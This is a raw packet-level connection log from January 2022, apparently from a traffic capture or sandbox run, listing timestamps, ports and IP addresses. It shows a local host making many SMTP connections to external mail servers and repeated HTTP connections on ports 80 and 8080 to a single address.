Jan 7, 2022 15:44:11.265584946 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265614033 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265640020 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265666008 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265692949 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265717030 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265743017 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265768051 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265880108 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265908003 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265934944 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265959024 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.265985012 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266140938 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266168118 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266199112 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266223907 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266248941 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266274929 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266345978 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266371012 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266396999 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266424894 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266450882 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266477108 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266501904 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266527891 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266638994 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266664982 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266690016 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266719103 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266746044 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266772985 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266802073 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266827106 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266858101 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266885042 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.266995907 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267023087 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267097950 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.267132998 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267141104 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.267160892 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267185926 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267257929 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267286062 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267395020 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267422915 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267455101 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267481089 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267508030 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267534971 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267561913 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267587900 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267612934 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267638922 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267749071 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267776012 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267802954 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267863989 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.267872095 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267899990 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267924070 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267950058 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267976999 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.267987013 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.268002987 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.268032074 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.268057108 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.268062115 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.268083096 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.268110037 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.268265963 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.268295050 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.268320084 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.268346071 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.268413067 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.268475056 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.268596888 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.269473076 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.362840891 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.362893105 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.362921000 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.374412060 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:11.374856949 CET	25	50012	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:11.374984980 CET	50012	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:11.375269890 CET	50012	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:11.420900106 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.420943022 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421080112 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421191931 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421221018 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421310902 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421335936 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421381950 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421410084 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421549082 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421646118 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421700001 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421729088 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421827078 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.421988964 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422144890 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422300100 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422327042 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422353983 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422379017 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422405005 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422511101 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422539949 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422626019 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422791958 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422818899 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422910929 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.422939062 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.423023939 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.423141003 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.423306942 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.423389912 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.423487902 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.423696995 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.423836946 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.423953056 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.424072027 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.424196959 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.424314022 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.424433947 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.424556017 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.424796104 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.424920082 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.425031900 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.425163031 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.425190926 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.425335884 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.425431967 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.425595999 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.425674915 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.425839901 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426059008 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426193953 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426397085 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426424026 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426553011 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426665068 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426693916 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426718950 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426745892 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426774025 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426882029 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426909924 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426937103 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426964045 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.426990986 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427015066 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427042007 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427067995 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427094936 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427123070 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427146912 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427172899 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427308083 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427335978 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427386999 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427416086 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427562952 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427592039 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427615881 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427643061 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427669048 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427694082 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427720070 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427795887 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427823067 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427846909 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427898884 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.427927971 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428076029 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428102970 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428128004 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428155899 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428183079 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428210020 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428235054 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428261042 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428288937 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428313017 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428339005 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428425074 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428452969 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428478003 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428503990 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428531885 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428555965 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428683996 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428710938 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428836107 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428894997 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428920984 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428946972 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428973913 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.428998947 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429025888 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429052114 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429076910 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429195881 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429223061 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429250002 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429300070 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429327965 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429352999 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429419041 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429447889 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429475069 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429501057 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429528952 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429557085 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429582119 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429718018 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429747105 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.429888964 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.521987915 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:11.525379896 CET	50023	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:11.543229103 CET	50024	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:11.689300060 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.689795017 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.689842939 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:11.725222111 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:11.725378990 CET	50023	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:11.848233938 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:11.883274078 CET	50027	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:11.941422939 CET	25	50022	51.81.242.59	192.168.2.6
Jan 7, 2022 15:44:11.941453934 CET	25	50022	51.81.242.59	192.168.2.6
Jan 7, 2022 15:44:11.941554070 CET	50022	25	192.168.2.6	51.81.242.59
Jan 7, 2022 15:44:11.941585064 CET	50022	25	192.168.2.6	51.81.242.59
Jan 7, 2022 15:44:11.942285061 CET	50028	25	192.168.2.6	51.81.242.150
Jan 7, 2022 15:44:12.072810888 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:12.106488943 CET	25	50028	51.81.242.150	192.168.2.6
Jan 7, 2022 15:44:12.106678009 CET	50028	25	192.168.2.6	51.81.242.150
Jan 7, 2022 15:44:12.111618996 CET	25	50022	51.81.242.59	192.168.2.6
Jan 7, 2022 15:44:12.132117033 CET	50031	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:12.232574940 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:12.233808994 CET	50023	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:12.246990919 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:12.247026920 CET	25	50017	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:12.247097969 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:12.247143030 CET	50017	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:12.492608070 CET	49978	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:44:12.583760023 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:12.737170935 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:12.737380981 CET	50023	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:13.087053061 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:13.148768902 CET	49990	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:13.255266905 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:13.255980968 CET	50023	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:13.256014109 CET	50023	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:13.256721020 CET	50038	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.310024977 CET	25	50038	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.310169935 CET	50038	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.363781929 CET	25	50038	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.364016056 CET	50038	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.416470051 CET	25	50038	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.420067072 CET	25	50038	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.420202971 CET	50038	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.472990036 CET	25	50038	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.473134041 CET	50038	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.531292915 CET	25	50038	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.537023067 CET	25	50038	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.537390947 CET	50038	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.537749052 CET	50039	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.537750959 CET	50038	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.576481104 CET	25	50028	51.81.242.150	192.168.2.6
Jan 7, 2022 15:44:13.576590061 CET	50028	25	192.168.2.6	51.81.242.150
Jan 7, 2022 15:44:13.576628923 CET	50028	25	192.168.2.6	51.81.242.150
Jan 7, 2022 15:44:13.590065002 CET	25	50039	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.590104103 CET	25	50038	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.590202093 CET	25	50038	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.590219021 CET	50039	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.590259075 CET	50038	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.590301991 CET	50038	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.606581926 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:13.613387108 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:13.646011114 CET	25	50039	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.646168947 CET	50039	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.702846050 CET	25	50039	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.704998016 CET	25	50039	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.705128908 CET	50039	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.745006084 CET	25	50028	51.81.242.150	192.168.2.6
Jan 7, 2022 15:44:13.757472992 CET	25	50039	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.757769108 CET	50039	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.759152889 CET	25	50023	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:13.759263039 CET	50023	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:13.815330029 CET	25	50039	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.820054054 CET	25	50039	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.820182085 CET	50039	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.820210934 CET	50039	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:13.872627974 CET	25	50039	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:13.872749090 CET	50039	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:14.555090904 CET	50024	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:14.883572102 CET	50027	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:15.117623091 CET	50031	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:15.996759892 CET	50040	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:16.085495949 CET	50041	25	192.168.2.6	51.81.57.58
Jan 7, 2022 15:44:16.186115026 CET	25	50041	51.81.57.58	192.168.2.6
Jan 7, 2022 15:44:16.186311007 CET	50041	25	192.168.2.6	51.81.57.58
Jan 7, 2022 15:44:17.293045044 CET	25	50041	51.81.57.58	192.168.2.6
Jan 7, 2022 15:44:17.293183088 CET	50041	25	192.168.2.6	51.81.57.58
Jan 7, 2022 15:44:17.293281078 CET	50041	25	192.168.2.6	51.81.57.58
Jan 7, 2022 15:44:17.293936014 CET	50042	25	192.168.2.6	51.81.57.59
Jan 7, 2022 15:44:17.367043018 CET	50043	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:17.395559072 CET	25	50041	51.81.57.58	192.168.2.6
Jan 7, 2022 15:44:17.395582914 CET	25	50042	51.81.57.59	192.168.2.6
Jan 7, 2022 15:44:17.395692110 CET	50042	25	192.168.2.6	51.81.57.59
Jan 7, 2022 15:44:18.864206076 CET	25	50042	51.81.57.59	192.168.2.6
Jan 7, 2022 15:44:18.864249945 CET	25	50042	51.81.57.59	192.168.2.6
Jan 7, 2022 15:44:18.864368916 CET	50042	25	192.168.2.6	51.81.57.59
Jan 7, 2022 15:44:18.864444017 CET	50042	25	192.168.2.6	51.81.57.59
Jan 7, 2022 15:44:18.864805937 CET	50044	25	192.168.2.6	51.81.242.59
Jan 7, 2022 15:44:18.964709997 CET	25	50042	51.81.57.59	192.168.2.6
Jan 7, 2022 15:44:19.008647919 CET	50040	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:19.033869028 CET	25	50044	51.81.242.59	192.168.2.6
Jan 7, 2022 15:44:19.034176111 CET	50044	25	192.168.2.6	51.81.242.59
Jan 7, 2022 15:44:20.174705982 CET	50046	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:20.368535042 CET	50043	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:20.555723906 CET	50024	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:20.645827055 CET	25	50044	51.81.242.59	192.168.2.6
Jan 7, 2022 15:44:20.645978928 CET	50044	25	192.168.2.6	51.81.242.59
Jan 7, 2022 15:44:20.646038055 CET	50044	25	192.168.2.6	51.81.242.59
Jan 7, 2022 15:44:20.646401882 CET	50047	25	192.168.2.6	51.81.242.150
Jan 7, 2022 15:44:20.815013885 CET	25	50047	51.81.242.150	192.168.2.6
Jan 7, 2022 15:44:20.815176964 CET	50047	25	192.168.2.6	51.81.242.150
Jan 7, 2022 15:44:20.817725897 CET	25	50044	51.81.242.59	192.168.2.6
Jan 7, 2022 15:44:21.118143082 CET	50031	8080	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:21.984803915 CET	25	50047	51.81.242.150	192.168.2.6
Jan 7, 2022 15:44:21.984935999 CET	50047	25	192.168.2.6	51.81.242.150
Jan 7, 2022 15:44:21.985008955 CET	50047	25	192.168.2.6	51.81.242.150
Jan 7, 2022 15:44:22.102623940 CET	49978	25	192.168.2.6	130.193.9.47
Jan 7, 2022 15:44:22.150759935 CET	25	50047	51.81.242.150	192.168.2.6
Jan 7, 2022 15:44:22.509540081 CET	50050	25	192.168.2.6	195.29.173.138
Jan 7, 2022 15:44:22.540113926 CET	25	50050	195.29.173.138	192.168.2.6
Jan 7, 2022 15:44:22.540251970 CET	50050	25	192.168.2.6	195.29.173.138
